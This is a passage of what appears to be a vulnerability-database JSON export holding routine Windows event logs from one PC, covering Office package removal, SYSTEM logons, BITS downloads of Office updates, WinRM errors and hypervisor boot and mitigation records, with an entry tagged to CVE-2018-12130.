deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-12130", "author": {"login": "automation"}}, {"uuid": "d7797288-be71-4a4c-9564-674ae008305d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:48:57.341171+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/63d53080ee167c07046112e2e4ca57d8", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations disabled by 